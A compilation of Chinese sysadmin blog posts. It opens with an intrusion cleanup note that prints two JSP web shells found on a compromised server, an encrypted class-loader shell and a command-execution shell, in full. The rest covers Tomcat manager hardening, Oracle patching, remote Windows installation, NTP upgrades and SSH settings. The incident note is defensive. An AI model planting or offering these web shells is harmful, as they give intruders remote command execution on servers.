-rw-r----- 1 cwt cwt   767 Sep  3 11:04 __cmdx6$U.class
-rw-r----- 1 cwt cwt  5998 Sep  2 22:55 __test111.class
-rw-r----- 1 cwt cwt  6020 Sep  2 22:56 __test111_jspx.class


这是入侵都留下的文件内容。


[root@Web1 war]# cat cmdx6.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

[root@Web1 war]# cat .shell123.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.io.*" %>

<%
String cmd = request.getParameter("cmd");
String output = "";
if (cmd !=null && cmd != "")
    {
        String[] command = System.getProperty("os.name").toLowerCase().indexOf("windows")>-1 ? new String[] {"cmd.exe", "/c", cmd} : new String[] {"/bin/sh", "-c", cmd};

        String s = null;
        try
            {
                Process p = Runtime.getRuntime().exec(command);
                BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
                while ((s = sI.readLine()) != null)
                    {
                        output += s +"\r\n";
                    }
                BufferedReader sI1 = new BufferedReader(new InputStreamReader(p.getErrorStream()));
                while ((s = sI1.readLine()) != null)
                    {
                        output += s +"\r\n";
                    }
            }
        catch (IOException e)
            {
                e.printStackTrace();
            }

    }
    else output="cmd shell";
%>

<pre> <code><%=output%> </code></pre>


最后发现不正常时间创建或是有问题的文件,都删除掉,结束掉异常进程。

检查定时任务,都是正常的。

看来是通过weblogic漏洞或是jsp应用漏洞入侵的,建议有weblogic的用户,有漏洞补丁一定要升级。

另外有防火墙,一定要严格限制访问网络,由于这边的主机网络限制严格,只开通了外网需要的端口,

主机本身不能访问外网,所以入侵都什么都没法操作,所以没有什么损失。

如何修改tomcat7中manager的默认web访问路径

$
0
0

How to change Tomcat manager default path ?


tomcat7默认访问管理web地址是 8080/manager,不怎么安全,需要修改下地址。

我这里就修改成 hbctmanager,需要新建个配置文件 hbctmanager.xml 放到/tomcat7/conf/Catalina/localhost/hbctmanager.xml


内容也很简单,将webapps下的manager目录文件移动到

/tomcat7/hbctmanager
再添加配置文件
<Context path="/hbctmanager"
        docBase="/tomcat/tomcat7/hbctmanager"
        antiResourceLocking="false" privileged="true" />
最后重新tomcat7,测试访问地址,可以正常访问,原来的目录删除掉。

By default, Tomcat’s manager webapp is able to access via yourapp:8080/manager. It is a good practice to change the default /manager to something else, to avoid potential brute force attack.

Environment

  1. Tomcat 7 (apt-get install)
  2. Debian 7.5

1. Solution

This article show you how to change / rename the default manager webapp path from “/manager” to “/manager123”.

# Tomcat manager webapp
/usr/share/tomcat7-admin/manager

# Tomcat conf manager.xml
/var/lib/tomcat7/conf/Catalina/localhost/manager.xml

1.1 Rename Tomcat manager folder
Rename “manager” folder to a new folder name “manager123”, from /usr/share/tomcat7-admin/manager to /usr/share/tomcat7-admin/manager123

$ pwd
/usr/share/tomcat7-admin

$ sudo mv manager manager123

1.2 Update docBase in manager.xml
Update “docBase” in “manager.xml” and points it to the new renamed manager folder, “manager123”.

/var/lib/tomcat7/conf/Catalina/localhost/manager.xml
<Context path="/manager"
        docBase="/usr/share/tomcat7-admin/manager123"
        antiResourceLocking="false" privileged="true" />

1.3 Rename manager.xml
Rename “manager.xml” to “manager123.xml”, from /var/lib/tomcat7/conf/Catalina/localhost/manager.xml to /var/lib/tomcat7/conf/Catalina/localhost/manager123.xml

$ pwd
/var/lib/tomcat7/conf/Catalina/localhost

$ sudo mv manager.xml manager123.xml

1.4 Restart Tomcat
Done, restart Tomcat.

$ sudo service tomcat7 restart

Now, the Tomcat manager webapp path is changed to “/manager123”.

Oracle 11.2.0.4.0打PSU补丁升级至11.2.0.4.19

$
0
0

Oracle 11.2.0.4.0打PSU补丁升级至11.2.0.4.19

一、简单介绍:

Oracle补丁一般分为2类:CPUPSU

Ø  CPUCritical Patch Update,紧急补丁更新。每季度发布一次,用来修复安全方面的累积型补丁,即最新的CPU补丁已经包含以往的CPU补丁,只需安装最新的CPU补丁即可。CPU已更名为SPUSecurity Patch Update)。

Ø  PSUPatch Set Update,补丁集更新。Oracle选取在每个季度用户下载数量最多、且得到验证具有较低风险的补丁放入到每个季度的PSU中。在每个PSU中不但包含Bug的修复,还包含了最新的CPUPSU通常随CPU一起发布。PSU通常是增量的,大部分PSU可以直接安装,但有些PSU必须要求安装上一个版本的PSU之后才能继续安装。


二、演示环境:

1、IP192.168.1.220

2、操作系统:CentOS 6.10 x86_64

3、Oracle软件安装包:p13390677_112040_Linux-x86-64_1of7.zipp13390677_112040_Linux-x86-64_2of7.zip

4、Oracle版本:11.2.0.4.0

5、OPatch软件安装包:p6880880_112000_Linux-x86-64.zip(大小为108M

6、OPatch版本:11.2.0.3.20

7、Patch补丁包:p28729262_112040_Linux-x86-64.zip

8、Patch IDPatch 28729262Oracle Database Patch Set Update 11.2.0.4.190115

 

三、PSU补丁:

1、查看当前OPatch版本:$ $ORACLE_HOME/OPatch/opatch version


备注:根据补丁包中的README.html帮助文档,Patch 28729262要求的OPatch最低版本为11.2.0.3.5

2、升级OPatch版本:

# unzip -q p6880880_112000_Linux-x86-64.zip

# chown -R oracle.oinstall OPatch

# su - oracle

$ mv $ORACLE_HOME/OPatch $ORACLE_HOME/OPatch_bak

$ mv OPatch $ORACLE_HOME/

$ $ORACLE_HOME/OPatch/opatch version


3、查看系统中已打过的补丁:

$ $ORACLE_HOME/OPatch/opatch lspatches


$ $ORACLE_HOME/OPatch/opatch lsinv


SQL> col ACTION format a6

SQL> col VERSION format a8

SQL> col BUNDLE_SERIES format a13

SQL> col COMMENTS format a19

SQL> select ACTION,VERSION,BUNDLE_SERIES,COMMENTS from dba_registry_history;


4、关闭数据库实例和监听,结束所有Oracle相关进程:

SQL> shutdown immediate

SQL> !lsnrctl stop


5、使用expdp数据泵备份全库数据

6、使用tar命令备份整个数据库目录

7、解压补丁包,并设置权限:

# unzip -q p28729262_112040_Linux-x86-64.zip

备注:解压后得到目录28729262和文件PatchSearch.xml

# chown -R oracle.oinstall 28729262

# su - oracle

$ cd 28729262

$ ls


备注:打补丁前务必仔细阅读README.html帮助文档

8、检查PSU补丁是否有冲突:

$ $ORACLE_HOME/OPatch/opatch prereq CheckConflictAgainstOHWithDetail -ph ./


备注:必须要在28729262目录中执行上述命令

9、手动生成OPatch所需的OCMOracle Configuration Manager)文件ocm.rsp

$ $ORACLE_HOME/OPatch/ocm/bin/emocmrsp


$ ll -lh | grep ocm.rsp


10、打补丁:$ $ORACLE_HOME/OPatch/opatch apply -silent -ocmrf ocm.rsp




备注:上述提示信息可忽略


备注:上述提示信息可忽略

11、升级数据字典:

$ sqlplus /nolog

SQL> connect / as sysdba

SQL> !lsnrctl start

SQL> startup

SQL> @$ORACLE_HOME/rdbms/admin/catbundle.sql psu apply


SQL> shutdown immediate

SQL> startup

12、重新编译无效对象:

SQL> @$ORACLE_HOME/rdbms/admin/utlrp.sql


备注:可查看日志确认执行是否成功,此处SIDTESTDB

$ less /oracle/cfgtoollogs/catbundle/catbundle_PSU_TESTDB_APPLY_2019Jan27_20_02_44.log

$ less /oracle/cfgtoollogs/catbundle/catbundle_PSU_TESTDB_GENERATE_2019Jan27_20_02_43.log

13、OJVMOracle JavaVM Component Database PSU)补丁:

SQL > @$ORACLE_HOME/rdbms/admin/dbmsjdev.sql

SQL > exec dbms_java_dev.disable


14、查看系统中已打过的补丁:

$ $ORACLE_HOME/OPatch/opatch lspatches


$ $ORACLE_HOME/OPatch/opatch lsinv




SQL> col ACTION format a6

SQL> col VERSION format a8

SQL> col BUNDLE_SERIES format a13

SQL> col COMMENTS format a19

SQL> select ACTION,VERSION,BUNDLE_SERIES,COMMENTS from dba_registry_history;



四、删除PSU补丁:

1、执行ROLLBACK.sql

$ sqlplus /nolog

SQL> connect / as sysdba

SQL> startup

SQL> @$ORACLE_HOME/rdbms/admin/catbundle_PSU_TESTDB_ROLLBACK.sql


SQL> quit

备注:此处SIDTESTDB

2、执行utlrp.sql,并关闭数据库实例和监听,结束所有Oracle相关进程:

$ sqlplus /nolog

SQL> connect / as sysdba

SQL> @$ORACLE_HOME/rdbms/admin/utlrp.sql


SQL> shutdown immediate

SQL> !lsnrctl stop


3、补丁回退:

$ $ORACLE_HOME/OPatch/opatch rollback -id 28729262



备注:上述提示信息可忽略

4、使用tar命令解压升级前备份的数据库目录

5、使用impdp数据泵导入升级前备份的全库数据

6、启动数据库实例和监听:

SQL> startup

SQL> !lsnrctl start

7、查看系统中已打过的补丁:

$ $ORACLE_HOME/OPatch/opatch lspatches


$ $ORACLE_HOME/OPatch/opatch lsinv


SQL> col ACTION format a8

SQL> col VERSION format a8

SQL> col BUNDLE_SERIES format a13

SQL> col COMMENTS format a19

SQL> select ACTION,VERSION,BUNDLE_SERIES,COMMENTS from dba_registry_history;







前 言

4 月中旬, Oracle 官方发布了季度补丁程序包,我们生产环境的众多数据库能打补丁的都打上了补丁,不重要的数据库也不能打补丁则关停了一段时间,上个月也可真是风风火火的一个月,感觉天天都在打补丁,事后也写了篇 Oracle 11GR2 RAC 最新补丁指导,感兴趣的可以点此查看。这两日有部分小伙伴说对于单节点的数据库该怎么操作,碰巧今晚又有两台单节点的数据库需要打补丁,那么难得有时间就写一下吧,方便以后学习。

补丁准备

Linux 平台下 20194 月发布的补丁包
p6880880_112000_Linux-x86-64.zip
p29255947_112040_Linux-x86-64.zip

Oracle 官方发布的 Linux 11.2.0.4 的补丁,如上所示,可去官网下载,这里选择补丁号和平台即可,若没有 Oracle MOS 账号,我这里已经下载好了,只需要在此公众号【JiekeXu之路】后台回复【RAC补丁】即可,此补丁和 RAC 使用的是同一个补丁。也可到如下地址去下载:

https://support.oracle.com/epmos/faces/PatchSearchResults?_afrLoop=27957295908138&_afrWindowMode=0&_adf.ctrl-state=11h190dceq_4

下载完补丁后,最主要的是看一看里面的 README.html, 这里面有方法步骤英文不错的同学可直接看文档不用看下文了。

正 文

废话不多说,直接按下面步骤操作即可。

0.备份

如果目录比较大,满足条件,可以做个全备,这个很有必要,因为升级中出现的问题不可控,有备份就好说了,实在没条件的话, cp 整个 ORACLE_HOME 即可。

1.升级环境检查

$ORACLE_BASE 目录至少存在5G的升级空间,然后检查数据库版本,不能跨大版本。

su - oracle
opatch lsinventory
 注意:如果opatch 命令不可用,需要配置环境变量或者进入到 $ORACLE_HOME/OPatch 下
exportPATH=$ORACLE_HOME/bin:$ORACLE_HOME/OPatch:$PATH

2.上传补丁包至 /u01/app/-----------这里这个目录为oracle权限

OPatch 补丁包:p6880880_112000_Linux-x86-64.zip

数据库 PSU 补丁包:p29255947_112040_Linux-x86-64.zip

3.oracle用户解压缩

unzip p21523375_112040_AIX64-5L.zip (必须用unzip解压!!!!!)

unzip p6880880_112000_AIX64-5L.zip (解压完了生成OPatch文件夹)

注意;这里写的是 AIX 下的补丁包,正常情况下是下图的补丁包。

4. oracle用户停止监听, 停止数据库

注意,如果有两个实例,需要设置环境变量,分别停库:停另外一个实例

ps -ef |grep smon

export ORACLE_SID=test2

如果有连接,需要杀掉连接,使用如下命令:

ps -ef | grep LOCAL=NO | grep -v grep |awk'{print $2}' | xargs kill -9
停止监听
lsnrctl stop
停止数据库
sqlplus / as sysdba
shutdown immediate

5.升级opatch

[oracle@JiekeXu dbhome_1]$cd $ORACLE_HOME
[oracle@JiekeXu dbhome_1]$mv OPatch OPatch_bak190705
[oracle@JiekeXu dbhome_1]$ mv/u01/app/OPatch/ ./

检查版本

[oracle@JiekeXu dbhome_1]$ opatch version
-bash: opatch: command not found
[oracle@JiekeXu dbhome_1]$ cd OPatch
[oracle@JiekeXu OPatch]$
[oracle@JiekeXu OPatch]$ ./opatch version
OPatch Version: 11.2.0.3.21
 
OPatch succeeded.
[oracle@JiekeXu OPatch]$

6.升级补丁包p29255947_112040_Linux-x86-64.zip

cd /u01/app/29255947/29141056
opatch apply
如果没法使用此命令,设置下环境变量在执行
exportPATH=$ORACLE_HOME/bin:$ORACLE_HOME/OPatch:$PATH
opatch apply

首先输入 y, 不需要输入邮箱直接回车,接着输入 Y 然后输入 y 如下图所示。

----------------warring 可以忽略,不报failed 就可以了

7.检查数据库版本

[oracle@JiekeXu bin]$ opatch lsinventory |grep Sub-patch
Sub-patch 28729262; "Database Patch Set Update : 11.2.0.4.190115(28729262)"
Sub-patch 28204707; "Database Patch Set Update : 11.2.0.4.181016(28204707)"
Sub-patch 27734982; "Database Patch Set Update : 11.2.0.4.180717(27734982)"
Sub-patch 27338049; "Database Patch Set Update : 11.2.0.4.180417(27338049)"
Sub-patch 26925576; "Database Patch Set Update : 11.2.0.4.180116(26925576)"
Sub-patch 26392168; "Database Patch Set Update : 11.2.0.4.171017(26392168)"
Sub-patch 26609445; "Database Patch Set Update : 11.2.0.4.170814(26609445)"
Sub-patch 25869727; "Database Patch Set Update : 11.2.0.4.170718(25869727)"
Sub-patch 24732075; "Database Patch Set Update : 11.2.0.4.170418(24732075)"
Sub-patch 24006111; "Database Patch Set Update : 11.2.0.4.161018(24006111)"
Sub-patch 23054359; "Database Patch Set Update : 11.2.0.4.160719(23054359)"
Sub-patch 22502456; "Database Patch Set Update : 11.2.0.4.160419(22502456)"
Sub-patch 21948347; "Database Patch Set Update : 11.2.0.4.160119(21948347)"
Sub-patch 21352635; "Database Patch Set Update : 11.2.0.4.8 (21352635)"
Sub-patch 20760982; "Database Patch Set Update : 11.2.0.4.7 (20760982)"
Sub-patch 20299013; "Database Patch Set Update : 11.2.0.4.6 (20299013)"
Sub-patch 19769489; "Database Patch Set Update : 11.2.0.4.5 (19769489)"
Sub-patch 19121551; "Database Patch Set Update : 11.2.0.4.4 (19121551)"
Sub-patch 18522509; "Database Patch Set Update : 11.2.0.4.3 (18522509)"
Sub-patch 18031668; "Database Patch Set Update : 11.2.0.4.2 (18031668)"
Sub-patch 17478514; "Database Patch Set Update : 11.2.0.4.1 (17478514)"

8.数据库启动,执行升级脚本(如存在多个实例,每个实例都需要执行)

具体意义可看 README.html,这里就不解释了,也懒得说了。

$cd $ORACLE_HOME/rdbms/admin
$sqlplus / as sysdba
SQL >startup;
SQL >@catbundle.sql psu apply
SQL >@utlrp.sql
SQL > @dbmsjdev.sql
SQL > exec dbms_java_dev.disable
$ rman catalog username/password@alias
RMAN> UPGRADE CATALOG;

执行这几个脚本,可去看 README.html,这里多次提起,说明他还是很重要的哦!

9.验证

SYS@PROD>col ACTION_TIME for a35
SYS@PROD>col COMMENTS for a45
SYS@PROD>select ACTION_TIME,COMMENTSfrom  registry$history;
ACTION_TIME                    COMMENTS
------------------------------------------------------------
24-AUG-13 12.03.45.119862 PM   Patchset 11.2.0.2.0
19-JAN-16 12.10.26.734097 AM   Patchset 11.2.0.2.0
26-JAN-19 10.45.57.188831 AM   PSU 11.2.0.4.180116 ------升级前数据库版本
26-JAN-19 11.52.32.664077 AM   PSU 11.2.0.4.19041611.2.0.4.190416 ---升级后的数据库版本

10.启动监听

lsnrctl start

11.oracle 数据库注册到监听

SQL> alter  system register;

12.验证监听状态

lsnrctl status
好了,按照这个步骤执行是没有问题的,基本上踩得坑已经说明了,切记目录、版本要满足要求,要是需要回退的话可以去看官方文档或者阅读 README.html。

云主机通过debian-installer远程dd安装Windows

$
0
0

系统:debian 9 64位。

过程:

1.apt install kexec-tools # 安装 kexec 热内核切换工具
debian-installer-remote-1.png

2.wget http://cdn-fastly.deb.debian.org/debian/dists/stretch/main/installer-amd64/current/images/netboot/debian-installer/amd64/linux # 下载 debian9 的网络安装文件

3.wget http://cdn-fastly.deb.debian.org/debian/dists/stretch/main/installer-amd64/current/images/netboot/debian-installer/amd64/initrd.gz # 下载 debian9 的网络安装文件

4.wget https://github.com/fincham/kexec-remote-debian-install/raw/master/build.py # 下载脚本,制作自动安装配置文件

5.vi build.py # 增加ntfs模块,ntfs-3g-udeb ntfs-3g-udeb ntfs-modules-4.9.0-9-amd64-di fuse-modules-4.9.0-9-amd64-di
debian-installer-remote-2.png

6.chmod +x build.py # 增加执行权限

7../build.py initrd.gz enp0s20f0 144.172.126.32 255.255.255.0 144.172.126.1 8.8.8.8 # 假设网卡名是enp0s20f0(如有的网卡名是eno1),设置静态网络信息
debian-installer-remote-3.png

8.kexec --command-line="auto=true priority=critical mirror/http/hostname=deb.debian.org" --initrd=initrd.gz linux # 热切换到网络安装的内核上
debian-installer-remote-4.png

9.ssh installer@144.172.126.32 # 等一小段时间后,可以通过ssh登录,继续安装

10.选择菜单 Start installer (expert mode)
debian-installer-remote-5.png

11.选择菜单, Detect disks # 识别硬盘
debian-installer-remote-6.png

12.选择菜单,Execute a shell # 切换到命令控制台
debian-installer-remote-7.png

13.Continue # 进到ash
debian-installer-remote-8.png

14.fdisk -l /dev/sda # 查看当前的分区信息,有多个Linux分区
debian-installer-remote-9.png

15.wget -O- http://url/w2k19-virtio-nic-unattend.vhd.gz | gunzip | dd of=/dev/sda # dd安装
debian-installer-remote-10.png

16.fdisk -l /dev/sda # 再次查看分区信息,dd后是仅有一个Windows分区
debian-installer-remote-12.png

17.mount.ntfs /dev/sda1 /mnt # 会提示错误,Invalid argument,可能是因为内核没有更新分区表
debian-installer-remote-13.png

18.新开一个ssh会话,选择菜单 Partition disks ,选择 Guided - use the largest continuous free space
debian-installer-remote-14.png

19.选择菜单 All files in one pration (recommended for new users)
debian-installer-remote-15.png

20.选择菜单 Finish partitioning and write changes to disk # 确认第一个Windows分区信息无误的话,更新分区信息
debian-installer-remote-16.png

21.再次确认分区更改
debian-installer-remote-17.png

22.mount.ntfs /dev/sda1 /mnt # 再次尝试挂载NTFS分区,成功

23.nano /mnt/Windows/panther/Unattend.xml # 编辑Windows无人值守安装文件,更改里边的IP设置
debian-installer-remote-20.png

24.umount /mnt # 卸载/mnt

25.reboot

26.Windows完成安装
debian-installer-remote-19.png

27.debian-installer还有日志文件,如遇到错误,可通过web查看
debian-installer-remote-11.png

参考:


Centos6/RHEL6系统升级NTP到NTP-4.2.8p13解决漏洞问题

$
0
0

之前安装过NTP相关的RPM软件包,正在使用中,由于版本低,有漏洞

现在要升级到最新版本,可以直接停服务,再下载相关NTP4.2.8p13.tar.gz源码包,执行下面命令安装,最后启动服务。

[root@webserver opt]#   service ntpd stop

[root@webserver opt]#  yum install libcap-devel

[root@webserver opt]# tar zxvf ntp-4.2.8p13.tar.gz

[root@webserver opt]]  cd ntp-4.2.8p13

[root@webserver opt]#  ./configure CFLAGS="-O2 -g -fPIC"  --prefix=/usr --bindir=/usr/sbin --sysconfdir=/etc --enable-linuxcaps --with-lineeditlibs=readline --docdir=/usr/share/doc/ntp-4.2.8p13
[root@webserver opt]#  make

[root@webserver opt]#  make install && install -v -o ntp -g ntp -d /var/lib/ntp

[root@webserver opt]# /etc/init.d/ntpd start
正在启动 ntpd:                                            [确定]
[root@webserver opt]#
[root@webserver opt]#
[root@webserver opt]# ntpd -v
/usr/sbin/ntpd: illegal option -- v
ntpd - NTP daemon program - Ver. 4.2.8p13

最后确认ntp已经升级到最新版本了。



       ntp-4.2.8p13

Introduction to ntp

The ntp package contains a client and server to keep the time synchronized between various computers over a network. This package is the official reference implementation of the NTP protocol.

This package is known to build and work properly using an LFS-9.0 platform.

Package Information

ntp Dependencies

Required

IO-Socket-SSL-2.066

Optional

libcap-2.27 with PAM, libevent-2.1.11, libedit, and libopts from AutoGen

User Notes: http://wiki.linuxfromscratch.org/blfs/wiki/ntp

Installation of ntp

There should be a dedicated user and group to take control of the ntpd daemon after it is started. Issue the following commands as the root user:

groupadd -g 87 ntp &&
useradd -c "Network Time Protocol" -d /var/lib/ntp -u 87 \
        -g ntp -s /bin/false ntp

The update-leap command needs to be fixed in order to run properly:

sed -e 's/"(\\S+)"/"?([^\\s"]+)"?/' \
    -i scripts/update-leap/update-leap.in

Install ntp by running the following commands:

./configure CFLAGS="-O2 -g -fPIC" \
            --prefix=/usr         \
            --bindir=/usr/sbin    \
            --sysconfdir=/etc     \
            --enable-linuxcaps    \
            --with-lineeditlibs=readline \
            --docdir=/usr/share/doc/ntp-4.2.8p13 &&
make

To test the results, issue: make check.

Now, as the root user:

make install &&
install -v -o ntp -g ntp -d /var/lib/ntp

Command Explanations

CFLAGS="-O2 -g -fPIC": This environment variable is necessary to generate Position Independent Code needed for use in the package libraries.

--bindir=/usr/sbin: This parameter places the administrative programs in /usr/sbin.

--enable-linuxcaps: ntpd is run as user ntp, so use Linux capabilities for non-root clock control.

--with-lineeditlibs=readline: This switch enables Readline support for ntpdc and ntpq programs. If omitted, libedit will be used if installed, otherwise no readline capabilites will be compiled.

Configuring ntp

Config Files

/etc/ntp.conf

Configuration Information

The following configuration file first defines various ntp servers with open access from different continents. Second, it creates a drift file where ntpd stores the frequency offset and a pid file to store the ntpd process ID. Third, it defines the location for the leap-second definition file /etc/ntp.leapseconds, that the update-leap script checks and updates, when necessary. This script can be run as a cron job and the ntp developers recommend a frequency of about three weeks for the updates. Since the documentation included with the package is sparse, visit the ntp website at http://www.ntp.org/ and http://www.pool.ntp.org/ for more information.

cat > /etc/ntp.conf << "EOF"
# Asia
server 0.asia.pool.ntp.org

# Australia
server 0.oceania.pool.ntp.org

# Europe
server 0.europe.pool.ntp.org

# North America
server 0.north-america.pool.ntp.org

# South America
server 2.south-america.pool.ntp.org

driftfile /var/lib/ntp/ntp.drift
pidfile   /var/run/ntpd.pid

leapfile  /etc/ntp.leapseconds
EOF

You may wish to add a Security session. For explanations, see https://www.eecis.udel.edu/~mills/ntp/html/accopt.html#restrict.

cat >> /etc/ntp.conf << "EOF"
# Security session
restrict    default limited kod nomodify notrap nopeer noquery
restrict -6 default limited kod nomodify notrap nopeer noquery

restrict 127.0.0.1
restrict ::1
EOF

Synchronizing the Time

There are two options. Option one is to run ntpd continuously and allow it to synchronize the time in a gradual manner. The other option is to run ntpd periodically (using cron) and update the time each time ntpd is scheduled.

If you choose Option one, then install the /etc/rc.d/init.d/ntp init script included in the blfs-bootscripts-20190908 package.

make install-ntpd

If you prefer to run ntpd periodically, add the following command to root's crontab:

ntpd -q

Execute the following command if you would like to set the hardware clock to the current system time at shutdown and reboot:

ln -v -sf ../init.d/setclock /etc/rc.d/rc0.d/K46setclock &&
ln -v -sf ../init.d/setclock /etc/rc.d/rc6.d/K46setclock

The other way around is already set up by LFS.

Contents

Installed Programs: calc_tickadj, ntp-keygen, ntp-wait, ntpd, ntpdate, ntpdc, ntpq, ntptime, ntptrace, sntp, tickadj and update-leap
Installed Libraries: None
Installed Directories: /usr/share/ntp, /usr/share/doc/ntp-4.2.8 and /var/lib/ntp

Short Descriptions

calc_tickadj

calculates optimal value for tick given ntp drift file.

ntp-keygen

generates cryptographic data files used by the NTPv4 authentication and identification schemes.

ntp-wait

is useful at boot time, to delay the boot sequence until ntpd has set the time.

ntpd

is a ntp daemon that runs in the background and keeps the date and time synchronized based on response from configured ntp servers. It also functions as a ntp server.

ntpdate

is a client program that sets the date and time based on the response from an ntp server. This command is deprecated.

ntpdc

is used to query the ntp daemon about its current state and to request changes in that state.

ntpq

is a utility program used to monitor ntpd operations and determine performance.

ntptime

reads and displays time-related kernel variables.

ntptrace

traces a chain of ntp servers back to the primary source.

sntp

is a Simple Network Time Protocol (SNTP) client.

tickadj

reads, and optionally modifies, several timekeeping-related variables in older kernels that do not have support for precision timekeeping.

update-leap

is a script to verify and, if necessary, update the leap-second definition file.

解决ssh登录linux速度慢的问题(以centos7为例)

$
0
0

解决ssh登录linux速度慢的问题(以centos7为例)

解决步骤:

先备份/etc/ssh/sshd_config,备份命令为

cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

1.su                                    (以root用户登录)

2.vi /etc/ssh/sshd_config      (编辑配置文件)

3.输入 / ,查找GSSAPIAuthentication 赋值为no

4.输入 /,查找UseDNS,赋值为 no(该项默认不启用的,要把前面的#删除掉)

5.最后输入!wq保存文件并退出

6.重启systemctl restart sshd


OpenSSH配置ssh_config中GSSAPIAuthentication 作用

在ssh_config 配置文件中有个参数
                GSSAPIAuthentication  当这个参数开启( GSSAPIAuthentication  yes )的时候,通过SSH登陆服务器时候会有些会很慢,但有的服务器又不慢,这个问题是什么造成的 ??
                还有就是在登陆慢的服务器上,修改这个 (GSSAPIAuthentication  no )为关闭的时候,慢得就恢复正常。
          
                  那 GSSAPIAuthentication  这个设置项到底是什么作用了 ??

回答1代码  

    据说是这作用 : 是否允许使用基于 GSSAPI 的用户认证。默认值为"no"。仅用于SSH-2  

 
回答2代码  

    服务器端启用了GSSAPI。登陆的时候客户端需要对服务器端的IP地址进行反解析,如果服务器的IP地址没有配置PTR记录,那么就容易在这里卡住了。  



另附上ssh配置详解

# 1. 关于 SSH Server 的整体设定,包含使用的 port 啦,以及使用的密码演算方式
Port 22          # SSH 预设使用 22 这个 port,您也可以使用多的 port !
              # 亦即重复使用 port 这个设定项目即可!
Protocol 2,1        # 选择的 SSH 协议版本,可以是 1 也可以是 2 ,
              # 如果要同时支持两者,就必须要使用 2,1 这个分隔了!
#ListenAddress 0.0.0.0   # 监听的主机适配卡!举个例子来说,如果您有两个 IP,
              # 分别是 192.168.0.100 及 192.168.2.20 ,那么只想要
              # 开放 192.168.0.100 时,就可以写如同下面的样式:
ListenAddress 192.168.0.100          # 只监听来自 192.168.0.100 这个 IP 的SSH联机。
                   # 如果不使用设定的话,则预设所有接口均接受 SSH
PidFile /var/run/sshd.pid      # 可以放置 SSHD 这个 PID 的档案!左列为默认值
LoginGraceTime 600     # 当使用者连上 SSH server 之后,会出现输入密码的画面,
              # 在该画面中,在多久时间内没有成功连上 SSH server ,
              # 就断线!时间为秒!
Compression yes      # 是否可以使用压缩指令?当然可以?!
 
# 2. 说明主机的 Private Key 放置的档案,预设使用下面的档案即可!
HostKey /etc/ssh/ssh_host_key    # SSH version 1 使用的私钥
HostKey /etc/ssh/ssh_host_rsa_key  # SSH version 2 使用的 RSA 私钥
HostKey /etc/ssh/ssh_host_dsa_key  # SSH version 2 使用的 DSA 私钥

# 2.1 关于 version 1 的一些设定!
KeyRegenerationInterval 3600     # 由前面联机的说明可以知道, version 1 会使用
                   # server 的 Public Key ,那么如果这个 Public
                   # Key 被偷的话,岂不完蛋?所以需要每隔一段时间
                   # 来重新建立一次!这里的时间为秒!
ServerKeyBits 768           # 没错!这个就是 Server key 的长度!
# 3. 关于登录文件的讯息数据放置与 daemon 的名称!
SyslogFacility AUTH         # 当有人使用 SSH 登入系统的时候,SSH会记录资
                   # 讯,这个信息要记录在什么 daemon name 底下?
                   # 预设是以 AUTH 来设定的,即是 /var/log/secure
                   # 里面!什么?忘记了!回到 Linux 基础去翻一下
                   # 其它可用的 daemon name 为:DAEMON,USER,AUTH,
                   # LOCAL0,LOCAL1,LOCAL2,LOCAL3,LOCAL4,LOCAL5,
LogLevel INFO            # 登录记录的等级!嘿嘿!任何讯息!
                   # 同样的,忘记了就回去参考!
# 4. 安全设定项目!极重要!
# 4.1 登入设定部分
PermitRootLogin no     # 是否允许 root 登入!预设是允许的,但是建议设定成 no!
UserLogin no        # 在 SSH 底下本来就不接受 login 这个程序的登入!
StrictModes yes      # 当使用者的 host key 改变之后,Server 就不接受联机,
              # 可以抵挡部分的木马程序!
#RSAAuthentication yes   # 是否使用纯的 RSA 认证!?仅针对 version 1 !
PubkeyAuthentication yes  # 是否允许 Public Key ?当然允许啦!只有 version 2
AuthorizedKeysFile      .ssh/authorized_keys
              # 上面这个在设定若要使用不需要密码登入的账号时,那么那个
              # 账号的存放档案所在档名!
# 4.2 认证部分
RhostsAuthentication no  # 本机系统不止使用 .rhosts ,因为仅使用 .rhosts 太
              # 不安全了,所以这里一定要设定为 no !
IgnoreRhosts yes      # 是否取消使用 ~/.ssh/.rhosts 来做为认证!当然是!
RhostsRSAAuthentication no # 这个选项是专门给 version 1 用的,使用 rhosts 档案在
              # /etc/hosts.equiv配合 RSA 演算方式来进行认证!不要使用
HostbasedAuthentication no # 这个项目与上面的项目类似,不过是给 version 2 使用的!
IgnoreUserKnownHosts no  # 是否忽略家目录内的 ~/.ssh/known_hosts 这个档案所记录
              # 的主机内容?当然不要忽略,所以这里就是 no 啦!
PasswordAuthentication yes # 密码验证当然是需要的!所以这里写 yes ?!
PermitEmptyPasswords no  # 若上面那一项如果设定为 yes 的话,这一项就最好设定
              # 为 no ,这个项目在是否允许以空的密码登入!当然不许!
ChallengeResponseAuthentication yes  # 挑战任何的密码认证!所以,任何 login.conf
                   # 规定的认证方式,均可适用!
#PAMAuthenticationViaKbdInt yes      # 是否启用其它的 PAM 模块!启用这个模块将会
                   # 导致 PasswordAuthentication 设定失效!
 
# 4.3 与 Kerberos 有关的参数设定!因为我们没有 Kerberos 主机,所以底下不用设定!
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosTgtPassing no
 
# 4.4 底下是有关在 X-Window 底下使用的相关设定!
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
# 4.5 登入后的项目:
PrintMotd no              # 登入后是否显示出一些信息呢?例如上次登入的时间、地点等
             # 等,预设是 yes ,但是,如果为了安全,可以考虑改为 no !
PrintLastLog yes     # 显示上次登入的信息!可以啊!预设也是 yes !
KeepAlive yes       # 一般而言,如果设定这项目的话,那么 SSH Server 会传送
             # KeepAlive 的讯息给 Client 端,以确保两者的联机正常!
             # 在这个情况下,任何一端死掉后, SSH 可以立刻知道!而不会
